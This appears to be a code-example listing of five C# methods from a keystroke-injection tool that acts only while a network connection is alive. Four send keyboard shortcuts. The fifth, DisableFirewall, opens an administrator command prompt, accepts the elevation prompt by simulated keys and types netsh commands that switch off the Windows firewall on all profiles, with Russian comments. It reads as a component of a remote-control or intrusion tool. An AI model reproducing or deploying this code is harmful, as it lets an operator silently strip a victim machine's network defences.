예제 #1
0
 // Enter
 internal static void Enter()
 {
     if (Network.ConnectionAlive)
     {
         ScanCode.SendKeyEx(0x1C);
     }
 }
예제 #2
0
 // Ctrl+V
 internal static void CtrlV()
 {
     if (Network.ConnectionAlive)
     {
         ScanCode.SendKeyOn(0x1D);
         ScanCode.SendKey(0x2F);
         ScanCode.SendKeyOff(0x1D);
     }
 }
예제 #3
0
 // Alt+Shift
 internal static void AltShift()
 {
     if (Network.ConnectionAlive)
     {
         ScanCode.SendKeyOn(0x38);
         ScanCode.SendKey(0x2A);
         ScanCode.SendKeyOff(0x38);
     }
 }
예제 #4
0
 // Win+M
 internal static void WinM()
 {
     if (Network.ConnectionAlive)
     {
         ScanCode.SendKeyExOn(0x5B);
         ScanCode.SendKey(0x32);
         ScanCode.SendKeyExOff(0x5B);
     }
 }
예제 #5
0
        // Отключение брендмауэра
        internal static void DisableFirewall(int timeout)
        {
            // Открываем командную строку с правами администратора
            OpenCmdAsAdmin(timeout);

            // Стрелка влево
            ScanCode.SendKeyEx(0x4B);
            Thread.Sleep(timeout);
            Enter();
            Thread.Sleep(timeout);

            // Отключаем брендмауэр для старых версий Windows
            Unicode.SendString("netsh firewall set opmode disable");
            Enter();
            Thread.Sleep(timeout);

            // Отключаем брендмауэр для новых версий Windows
            Unicode.SendString("netsh advfirewall set allprofiles state off");
            Enter();
            Thread.Sleep(timeout);

            // Очищаем командную строку
            ClearCmd(timeout);
        }